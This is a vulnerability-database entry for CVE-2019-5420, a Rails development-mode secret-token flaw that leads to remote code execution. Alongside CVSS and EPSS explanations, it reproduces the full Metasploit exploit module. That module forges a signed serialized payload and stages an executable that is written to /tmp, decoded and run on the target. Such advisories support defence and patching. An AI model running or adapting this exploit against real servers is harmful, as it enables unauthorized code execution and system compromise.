CVE-2019-5420 : Detail

CVE-2019-5420

9.8
/
Critical
Command Injection
A03-InjectionA02-Cryptographic Failures
93.38%V4
Network
2019-03-27
12h48 +00:00
2019-05-10
00h06 +00:00
CVE.org
NVD
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CVE Descriptions

A remote code execution vulnerability in development mode Rails <5.2.2.1, <6.0.0.beta3 can allow an attacker to guess the automatically generated development mode secret token. This secret token can be used in combination with other Rails internals to escalate to a remote code execution exploit.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-330 Use of Insufficiently Random Values
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46785

Publication date : 2019-05-01 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails application would use its name as the secret_key_base, and can be easily extracted by visiting an invalid resource for a path. As a result, this allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'ooooooo_q', # Reported the vuln on hackerone 'mpgn', # Proof-of-Concept 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2019-5420' ], [ 'URL', 'https://hackerone.com/reports/473888' ], [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ], [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Ruby on Rails 5.2 and prior', { } ] ], 'DefaultOptions' => { 'RPORT' => 3000 }, 'Notes' => { 'AKA' => [ 'doubletap' ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ] }, 'Privileged' => false, 'DisclosureDate' => 'Mar 13 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']), ]) end NO_RAILS_ROOT_MSG = 'No Rails.root info' # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit # still uses Rails 4, and we don't really know when we will be able to upgrade it. class Messages class Metadata def initialize(message, expires_at = nil, purpose = nil) @message, @expires_at, @purpose = message, expires_at, purpose end def as_json(options = {}) { _rails: { message: @message, exp: @expires_at, pur: @purpose } } end def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil) if expires_at || expires_in || purpose ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose) else message end end private def self.pick_expiry(expires_at, expires_in) if expires_at expires_at.utc.iso8601(3) elsif expires_in Time.now.utc.advance(seconds: expires_in).iso8601(3) end end def self.encode(message) Rex::Text::encode_base64(message) end end end class MessageVerifier def initialize(secret, options = {}) raise ArgumentError, 'Secret should not be nil.' unless secret @secret = secret @digest = options[:digest] || 'SHA1' @serializer = options[:serializer] || Marshal end def generate(value, expires_at: nil, expires_in: nil, purpose: nil) data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose)) "#{data}--#{generate_digest(data)}" end private def generate_digest(data) require "openssl" unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end def encode(message) Rex::Text::encode_base64(message) end end def check check_code = CheckCode::Safe app_name = get_application_name check_code = CheckCode::Appears unless app_name.blank? test_payload = %Q|puts 1| rails_payload = generate_rails_payload(app_name, test_payload) result = send_serialized_payload(rails_payload) check_code = CheckCode::Vulnerable if result check_code rescue Msf::Exploit::Failed => e vprint_error(e.message) return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG CheckCode::Unknown end # Returns information about Rails.root if we retrieve an invalid path under rails. def get_rails_root_info res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)), }) fail_with(Failure::Unknown, 'No response from the server') unless res html = res.get_html_document rails_root_node = html.at('//code[contains(text(), "Rails.root:")]') fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data) root_info_value end # Returns the application name based on Rails.root. It seems in development mode, the # application name is used as a secret_key_base to encrypt/decrypt data. def get_application_name root_info = get_rails_root_info root_info.split('/').last.capitalize end # Returns the stager code that writes the payload to disk so we can execute it. def get_stager_code b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" register_file_for_cleanup(b64_fname, bin_fname) p = Rex::Text.encode_base64(generate_payload_exe) c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " c << "%x(chmod +x #{bin_fname}); " c << "%x(#{bin_fname})" c end # Returns the serialized payload that is embedded with our malicious payload. def generate_rails_payload(app_name, ruby_payload) secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application") keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) secret = keygen.generate_key('ActiveStorage') verifier = MessageVerifier.new(secret) erb = ERB.allocate erb.instance_variable_set :@src, ruby_payload erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result) verifier.generate(dump_target, purpose: :blob_key) end # Sending the serialized payload # If the payload fails, the server should return 404. If successful, then 200. def send_serialized_payload(rails_payload) res = send_request_cgi({ 'method' => 'GET', 'uri' => "/rails/active_storage/disk/#{rails_payload}/test", }) if res && res.code != 200 print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.") print_error('The expected response should be HTTP 200.') # This indicates the server did not accept the payload return false end # This is used to indicate the server accepted the payload true end def exploit print_status("Attempting to retrieve the application name...") app_name = get_application_name print_status("The application name is: #{app_name}") stager = get_stager_code print_status("Stager ready: #{stager.length} bytes") rails_payload = generate_rails_payload(app_name, stager) print_status("Sending serialized payload to target (#{rails_payload.length} bytes)") send_serialized_payload(rails_payload) end end

Products Mentioned

Configuraton 0

Rubyonrails>>Rails >> Version To (excluding) 5.2.2.1

Rubyonrails>>Rails >> Version 6.0.0

Rubyonrails>>Rails >> Version 6.0.0

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Fedoraproject>>Fedora >> Version 30

References

https://www.exploit-db.com/exploits/46785/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.